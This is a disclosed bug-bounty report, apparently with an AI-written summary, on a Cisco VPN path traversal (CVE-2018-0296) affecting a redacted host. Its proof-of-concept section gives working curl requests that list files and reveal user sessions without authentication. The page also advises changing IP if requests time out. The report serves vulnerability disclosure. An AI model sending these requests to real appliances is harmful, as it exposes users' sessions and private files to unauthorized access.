[CVE-2018-0296] Cisco VPN path traversal on the https://███████/ (██████)
A Cisco VPN appliance was vulnerable to a path traversal flaw that allowed an unauthenticated attacker to access sensitive files and user session information. By crafting a specific URL, an attacker could list files and potentially cause denial of service.
- Triaged in 4 days
- Fixed in 3 months
- Paid in 4 days
- Disclosed after 4.8 years
##Description I discovered previously unidentified instance https://████/ (███████) in ██████████ network, vulnerable to the CVE-2018-0296 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0296)
##POC
curl -i -k "https://████████/+CSCOU+/../+CSCOE+/files/file_list.json" --path-as-is
███
We can disclose user sessions by quering /sessions:
curl -i -k "https://████/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is
##Suggested fix Updating to the latest version should fix the issue. Fixed version should give 404 "File not found" error. Example of patched version:
curl -i -k "https://█████████.███████.mil/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is
##Notes In case you experience request timeout when reproducing, try to change your IP/VPN.
Impact
Path traversal, which can allow the unauthenticated attacker disclose sensitive information such as VPN sessions, files, usernames. Under some conditions it's possible to cause DOS attacks
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely insufficient input validation on the file path parameter, allowing directory traversal sequences to access files outside the intended directory.
Impact
An unauthenticated attacker could disclose sensitive information such as VPN sessions, files, and usernames, and under some conditions cause denial of service.
What the attacker needed
Unauthenticated access to the VPN web interface
The fix
Updating to the latest version should fix the issue; the fixed version returns a 404 error for such requests.
How it was found
- Send a crafted request to the VPN appliance with a path traversal sequence to list files.
- Use the same technique with a parameter to list session files and disclose user sessions.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This report describes a path traversal bug in a Cisco VPN device. An attacker could trick the device into showing files and session data that should be private, without needing to log in. The fix is to update the software to a version that blocks such requests.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.